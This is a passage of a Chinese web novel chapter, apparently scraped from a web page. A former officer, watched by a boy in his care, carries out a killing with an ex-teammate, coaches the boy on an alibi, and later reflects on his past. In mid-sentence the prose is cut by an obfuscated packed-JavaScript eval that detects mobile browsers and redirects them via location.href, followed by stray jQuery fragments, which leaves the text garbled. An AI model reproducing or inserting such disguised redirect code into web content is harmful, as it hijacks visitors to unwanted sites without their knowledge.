在封仇云介绍完宓嵊的身份后,那女人挑了挑眉,弯下腰对着宓嵊道:“你好,小嵊。我叫步冰霞,是TIKVAH的队员,主要担任爆破手。”
“走吧,时间差不多了。”
步冰霞主动走在前面:“从这里上去,我在那边挂了一条登山绳,可以顺着绳子滑下去,就能避开巡逻进平民区。”
说罢,她回头瞥了眼宓嵊,又看向封仇云。
封仇云了然:“放心,我带着他。把他一个人留在这里不安全。”
“里面安全还是这里安全,还真说不准。”步冰霞轻笑一声,“你以前也是这样,每次带着新兵的第一场演习,都像个鸡妈妈,恨不得把他们全都包在你的羽翼里。
“不过到了第二次,你就成了抓他们的老鹰。”
封仇云也跟着她回忆起那段时光,自嘲道:“其实他们都因为我训练时太凶残,不敢相信我是帮他们的。”
步冰霞毫不客气地回:“换了我我也不信。”
三人很快走到山顶,那边放着两个军用背包。
“搞到这些可不容易,”步冰霞拎起两只包,将其中一个扔给了封仇云,“鬼知道我在这一个月内撒了多少个谎,才从各种损耗里扣下这些。”
封仇云打开背包,里面是一把QCQ-171还有一些冲锋弹,另外配了战术背心和黑色面罩。穿戴好后,他随即将旁边的宓嵊一把抱起。
宓嵊坐在封仇云的左臂上,他下意识环住封仇云的颈部,右手还不小心碰到了他的耳朵。
宓嵊作为一个“十岁男孩”并不算矮,而封仇云的力量显然绰绰有余,抱着他时稳稳当当。
平民区是用被钢筋浇筑的水泥墙围住的,步冰霞不知在哪里又找到一块缺口。据说是之前因为外面尚有农田,就开了一条小道,后来粮食死光了,这个通道就只简单封住了,很容易破开。
他们一路跟着步冰霞弯弯绕绕,避开所有检测器和人群,从某个普通居民楼的后门钻了进去。
“确定是这里吗?”
“在三楼。”步冰霞回,“三楼最东边的四个房间被他们打通了,就在那里。”
“很难想象,如此森严的管理下,人口失踪居然会没有察觉。”封仇云眸色深暗。
“据说用不了多久这里会和北边平民区合并,算是可以安慰到您吗,长官。”步冰霞笑了笑,“您的债也算是要还完了。”
封仇云这时将宓嵊拉过来,将他塞到楼道口的夹缝里,俯身盯着小孩的眼睛,安抚道:“乖乖在这里等我,不管听见什么都不要出来,我很快回来。”
宓嵊被他塞进了黑暗里,看着他覆面之上露出的眼睛,点了点头。
这个时间段,居民楼内的人并不多,因为想要生存就必须赚取足够的积分,而不断工作才能获得积分。
宓嵊不知道三楼发生了什么,只知道他听见了一阵枪响,虽然用消音器处理过,但沉闷的连续不断的“砰”声还是能轻易辨认出。
——
过了一会,封仇云回来了。
他的身上被溅上一些血,在裤子和上衣下摆的部位,浑身散发着血腥的气味。
他投来的眼神比离开时要冰冷许多,似乎还没从刚才的杀戮中完全脱离。
“走吧,乖孩子。”
封仇云摸了摸他的脑袋,这一次就算想掩盖也没有足够多的酒精了。
他们沿着原路回去,对刚才的事闭口不提。
“我也该回去了。”
步冰霞似乎受了点小伤,但只是在手背上。她将那两只包和覆面烧毁,将枪和子弹埋在了山顶旁边的一个深洞里。
“这次的事情,不止是那些家伙,上面或许也会查。我会尽可能掩盖,但,你知道的,”步冰霞耸了耸肩,“我的话,在他们那里没什么说服力。”
“现场处理得很干净。放心,就算被查到,一切有我。”
步冰霞深深看了他一眼:“队长,多谢你。”
封仇云不以为意地摆了摆手,看着步冰霞戴上头盔、坐上了车,突然又叫住她:“你最近,有回去见过那个人吗?”
步冰霞拨开头盔的眼罩,眼中含着笑意看了封仇云一眼,什么也没说只是挥了挥手,随即启动摩托扬长而去了。
封仇云叹了口气,上车后发现宓嵊已经乖乖坐在副驾驶,安全带也系上了。
“想吃什么?”封仇云道,“我们先回家处理一下,然后就带你去,好吗?
“如果有人问起来,今天你放学后我们去了哪里,你只要说叔叔带你去爬山了。”
所以封仇云根本不是带小孩来采风,主要是为了一个不在场证明。
要是有人问起来,封仇云估计会义正言辞地回:他还是孩子,他能撒谎吗?
封仇云低低地笑了一声,却没有立刻开车,而是启动引擎后,将车窗打开,看着山下破败的城市。
“其实,这里三年前还不是这样。”封仇云点了根烟,“那个时候,我还是个真正的中校。”
他突然抬手,搭在宓嵊的肩上,捏了捏他的耳垂:“有太多家庭因为那场事故失散了,那是我的责任,是我的过错。”
十岁,应该是一个对大人的话半知半解的状态吧。
封仇云不知为何突然想说很多话,或许是刚才经历的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240234|197696||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那场杀戮又唤醒了他的记忆,或许是仗着小孩儿听不懂而他又需要一个倾听者——一个没有带着审问和探究的眼神看着他的倾听者。
可当他看着山崖上一眼望不到头的灰蓝色的天,却又说不出来了。
“走吧。”
车辆缓缓发动。
——
封仇云没有食言,车停在了小院门口,他的一则通讯也打到了军区的食堂。
封仇云进屋后就将上衣脱了扔在浴室,刚准备关上浴室门,突然想到了什么,招呼刚进门的宓嵊道:
“要不要跟叔叔一起洗?换身新衣服,我已经让庞大水把衣服放在你的房间了。”
帮孩子洗澡也许能拉进一些距离,今天发生的事情太多,他不想给孩子留下太坏的印象。
宓嵊站在原地,摇了摇头,拒绝了。
封仇云有些失落,看来小孩的心扉还没有完全打开。
五分钟后,冲完澡的封仇云围着一条新的浴巾出来了。他也不避讳了,直接穿过客厅走到房间去取衣服。
宓嵊坐在他早上来时的位置,他的手里拿着一张报纸在阅读——军区内有专门的日报,会在每天早上给他从门缝底下塞进来。
他往旁边瞅了瞅,发现宓嵊正在看的版面是有关前线实况进展。如今人类基地分为四个大军区,其下又有由不同军团和队伍组成的军队。
“对这个感兴趣?”封仇云复杂地看着宓嵊的侧脸,双眸沉了沉,“如果要走这条路,并不容易。”
封仇云拿起桌上的酒瓶喝了一口,靠在沙发上:“如果你要进联盟军,可不能丢我的脸。”他眯眼想了想,“至少,三十岁的时候要做到上尉才行。”
不知道那时候的人类发展怎么样,这小子或许没有他这么多的机遇,想了想,封仇云还是稍微放宽了要求。
“前线是个以战斗力和战功论英雄的地方。”封仇云娓娓道来,“却也是想要升衔最快的地方。我曾经是TIKVAH的队长,嗯……今天跟我们一起的那个阿姨,不,我想她应该希望你叫她姐姐,她曾经是我的正式队员。还有庞大水,他也是。
“不过,你以后也会有自己的队友,”封仇云笑了几声,“但我得提醒你,如果要选拔新队员,千万别对他们太狠。他们背后记恨你倒是小事,只是很多新兵的家人是在灾难中死去的,他们年纪尚轻却只有这一条路可以走。想跟着你,也多半是送死来的。所以啊,他们一开始会把你当成他们的老大,也就像是一个家里的大家长,会不由得依赖你的。”
封仇云又闷了一口酒,拍了拍宓嵊的脑袋:“以后有事情都可以来问我,多笑一笑。”